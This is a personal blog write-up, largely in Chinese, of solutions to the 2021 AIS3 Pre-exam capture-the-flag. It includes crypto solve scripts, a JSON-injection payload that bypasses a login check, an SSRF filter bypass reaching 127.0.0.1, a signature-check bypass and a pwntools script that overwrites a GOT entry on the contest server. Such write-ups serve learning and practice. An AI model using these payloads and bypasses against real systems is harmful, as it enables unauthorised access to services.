2021 AIS3 Pre-exam write-up


Information

ID gunjyo
Date 2021/05/22 10:00 - 2021/05/24 17:30
Rank 61(正取 AIS3)
Score 1346

Prologue

這是我第一次參加 AIS3 Pre-exam,最終成績是 61 名,過程中運氣好有上去到 43 名,對我來說覺得還不錯><
剛好落在錄取的 75 名內,萬幸~
隔年應該會因為準備大學而無法參加,希望後年能夠拿到更好的成績~
AIS3 rank

事不遲疑,直接進到 write-up 吧

註 有些題目跟 MFC 是重疊的哦~ write-up 是一致的

Misc

Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi (100)

BGM: 亜咲花「I believe what you said」
TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org
Author: splitline feat. Hojo Satoko

Welcome 題

TERM=xterm-256color ssh -p 5566 h173@quiz.ais3.org
連線後會跳轉到輸入數字密碼的介面,只要按錯一個就會跳 Locked,要重新連線
暴力嘗試即可
密碼 2025830455298

flag AIS3{H1n4m1z4w4_Sh0k0gun}

HINT 附上了影片

Microcheese(141)

是一個撿石頭遊戲,玩家和電腦輪流選任一排的任意數目的石子,將它們移去,最後清空盤面的獲勝。
Chess

game.py 的規則可以看到有先手贏的棋盤(generate_winning_game())和後手贏的棋盤(generate_losing_game()),我是先手,所以 SERVER 會給後手贏的棋盤,理論上來說應該贏不了。
play()
但問題出在 server.py 中的 play(),只有判斷 choice 為 0,1,2 的狀況,因此若我們輸入非 0,1,2 的數字便可跳過回合,直到剩下最後一排為止,便可以獲勝得到 flag
win

Crypto

Microchip(102)

Author: toxicpie

output: =Js&;*A``odZHi\'>D=Js&#i-DYf>Uy\'yuyfyu<)Gu
把 FLAG 每四個字就翻轉,接著加上 key 後 mod 96,再加上 32 後取字元值,就會得到 output
只要有 key 就可以用 result 逆推回 flag
由於我們知道 flag format = AIS3{printable},因此利用AIS3就可以輕易逆推 key
4 個而已慢慢用手推即可

接著把 result 依據 key 逆推回去即可
script

result = '=Js&;*A`odZHi\'>D=Js&#i-DYf>Uy\'yuyfyu<)Gu'
n = list()
for i in range(0,40,4):
    for j in range(4):
        n.append(ord(result[i+j])-32)
print(n)
#n = [29, 42, 83, 6, 27, 10, 33, 64, 79, 68, 58, 40, 73, 7, 30, 36, 29, 42, 83, 6, 3, 73, 13, 36, 57, 70, 30, 53, 89, 7, 89, 85, 89, 70, 89, 85, 28, 9, 39, 85]

for i in range(0,40,4):
    n[i],n[i+1],n[i+2],n[i+3] = n[i+3],n[i+2],n[i+1],n[i]
print(n)
#n = [6, 83, 42, 29, 64, 33, 10, 27, 40, 58, 68, 79, 36, 30, 7, 73, 6, 83, 42, 29, 36, 13, 73, 3, 53, 30, 70, 57, 85, 89, 7, 89, 85, 89, 70, 89, 85, 39, 9, 28]

key = [69,42,87,10]
for i in range(40):
    print(chr(((n[i] + 96 - key[i%4]) % 96) + 32) , end='')

執行 script 後得到AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}22 可以看到 padding 為 22

flag AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}

ReSident evil villAge(136)

註:此題用了非正規解

題目是 RSA 簽證
目標是把 signature 送進去以達到 pow(sig, e, n) == bytes_to_long(b'Ethan Winters')
原則上只要把 Ethan Winters 轉成 hex 丟進去讓它跑出 signature 之後,再丟回去讓他 verify 就可以了。
但是從 if msg == b'Ethan Winters' or bytes_to_long(msg) >= n: # msg+k*n not allowed 這行可以看到 check msg == Ethan Winters 會被擋掉。
由於送進去的是字串,於是要讓數字不變但是字串改變,就去嘗試 Bypass,發現前面加上 00 可以繞過,所以傳 00 加上 Ethan Winters 轉成 hex 就可以了
直接上圖。

Republic of South Africa (235)

RSA collision or something IDK I am a physicist
Author: Kuruwa

從題目名稱很明顯可以知道是 RSA

count = p+q
n = p*q

由於這兩個式子,可以很輕易地推出 phi
phi = (p-1)*(q-1) = p*q - (p+q) +1 = n - count +1
既然我們已經有 n 了,那目標是要求出 count
count 會是非常大的數字,根本沒辦法爆搜

TMI:當時因為 collision() 是物理中完全彈性碰撞的公式,所以花很多時間在研究那邊QQ

於是把函式丟進去 ipython 裡面看看有什麼
發現 count 長得很像 pi ,而且位數會等於丟給 keygen() 的值
digits 就代表位數
於是便上網查了 153 位數的 pi
接著按照一般 RSA 流程就可以得到flag了

keygen

script

from Crypto.Util.number import *
n = 23662270311503602529211462628663973377651035055221337186547659666520360329842954292759496973737109678655075242892199643594552737098393308599593056828393773327639809644570618472781338585802514939812387999523164606025662379300143159103239039862833152034195535186138249963826772564309026532268561022599227047
e = 65537
c = 11458615427536252698065643586706850515055080432343893818398610010478579108516179388166781637371605857508073447120074461777733767824330662610330121174203247272860627922171793234818603728793293847713278049996058754527159158251083995933600335482394024095666411743953262490304176144151437205651312338816540536
count=314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848
phi = n-count+1
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

flag AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}
順帶一提 flag 內的 youtube 網址是利用物理的彈性碰撞去計算pi,還滿有趣的,感興趣的可以去看看影片~~

Reverse

Piano(158)

Is this a MUSIC GAME?
Author: CSY54

題目給了一個 .exe 檔,執行後會是鋼琴界面(真的有聲音)
Piano
題目還給一個 .dll 檔,可以用 dnSpy反編譯 ,就可以看到它在做的事情

註 記得SCIST Reverse III是在講各種技巧,所以就在比賽第一天晚上去看了這個影片,到1:29:15 的時候開始講 C#、Net,其中有講到 dnSpy 這個工具的用法,推薦大家去看~~~

我們可以拿到 listlist2
然後他會去 check this.notes[]
可以看到想求出 this.notes[i] 的話只要把 (list[i] + list2[i]) / 2 就可以了
會得到答案的 index {7,7,10,10,11,11,10,9,9,3,3,8,8,7}
把得到的 index 值去對應到 dll檔 內每一個按鍵對應的值,按鋼琴鍵就會跳出 flag 了 (是升調的小星星哦😂)
twinkle

flag AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}

🐰 Peekora 🥒

吃太甜要配什麼
可樂
因為 too 甜配 cola
Usage: python3 -m pickle flag_checker.pkl
Author: splitline

題目給了.pkl檔和它的用法 python3 -m pickle flag_checker.pkl

跑跑看後會需要輸入 flag ,正確的話會跑出 correct!

tmi:看這題的時候是第三天早上三點多,不太能思考所以去排版,排起來不是很好看 w 就將就一下吧 XD

打開pkl檔,用pickle opcodes看,先把t換成 ) 然後去排版

這裡著重的點在__getitem____eq__
Pickle opcodes寫到

GET = 'g'   # push item from memo on stack; index is string arg
INT = 'I'   # push integer or bool; decimal string argument
UNICODE = 'V'   # push Unicode string; raw-unicode-escaped'd argument

所以猜是用 stack 的方式去跑,getitem會取 "I" 後面的值 push 進來 stack 裡面,碰到 eq 就會把 V 的值跟 stack 頂端的 index 值做比較,錯誤就結束,所以從最上面開始模擬一次 stack 就可以得到 flag 了

按照 stack 的模式就可以推出 index 對應到的字元了!

送進去測試之後就會跳出 Correct!

flag AIS3{dAmwjzphIj}

Web

ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ

點開網址後可以看到是一個登入畫面 Login
下面有給我們 Source Code Sauce

一開始就亂丟亂試都沒成功,於是花了點時間來看 Source
運用JS的特性,users_dbdict如果去取一個不存在的東西會拿到None
null進行 弱比較 會是False
所以可以把password設成null
再加上JSON後面的會覆蓋掉前面的
所以前面塞一些東西,然後password後面再塞一些東西去閉合掉前後的"
只要保證最後一次username不在users_db內、passwordnullshowflagtrue就可以了

Payload

admin","showflag":true,"username":"qq
qq","password":null,"username":"aaa

flag AIS3{/r/badUIbattles?!?!}

HaaS

一開始點進去網址看會發現Method Not Allowed
/haas拔掉之後就會出現HealthCheck as a Service的網頁
直接按下送出後會出現Error
嘗試改掉status後發現會跳出alive
接著就被卡住了,後來想說是不是之前打CTF的時候出現的SSRF,就去輸入localhost 127.0.0.1,於是跳出了
既然他把我擋掉了,那應該代表要Bypass
上網查之後查到了用句號代替逗號的方法
ByPass

但是直接輸入也不行,又被卡住了
後來想說打開BurpSuite能不能看到更多東西
所以去研究了一下BurpSuite的教學文章
送了幾次網址後在Proxy那邊複製他的格式然後把最底下的 url 改成http://127。0。0。1 urlencode後的字串,就可以得到flag了
Burp

flag AIS3{V3rY_v3rY_V3ry_345Y_55rF}

PWN

Write Me (192) (賽後)

Author: lys0829

從題目可以看到會在前面把 *systemgot 設為 0x0
呼叫 system()的時候會跳到 *systemgot執行,因為前面位址被改掉所以會噴錯
執行程式會讓你輸入 unsigned long long *address , unsigned long long value
接著把 *address = value
我們的目標是把 *systemgot 改回原本的值
因此用 gdb 去查看就可以找到了
script

from pwn import *
context.arch = 'amd64'

#r = process('./gotplt')
r = remote('quiz.ais3.org', 10102)

# x/1x 0x404028 ->0x00401050

r.recvuntil(': ')
#0x404028
r.sendline('4210728')

r.recvuntil(': ')
#0x401050
r.sendline('4198480')

r.interactive()

Epilogue

第一次比賽還是很緊張的
再加上第一天有 MFC ,第二天有 T 貓決賽
於是第二天晚上就果斷不睡稱到比賽結束
在結束前十幾分鐘才解出 peekora,真的超刺激
Pre-exam 還是挺好玩的!!
有任何問題歡迎和我討論~~


Author: Gunjyo
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Gunjyo !
  TOC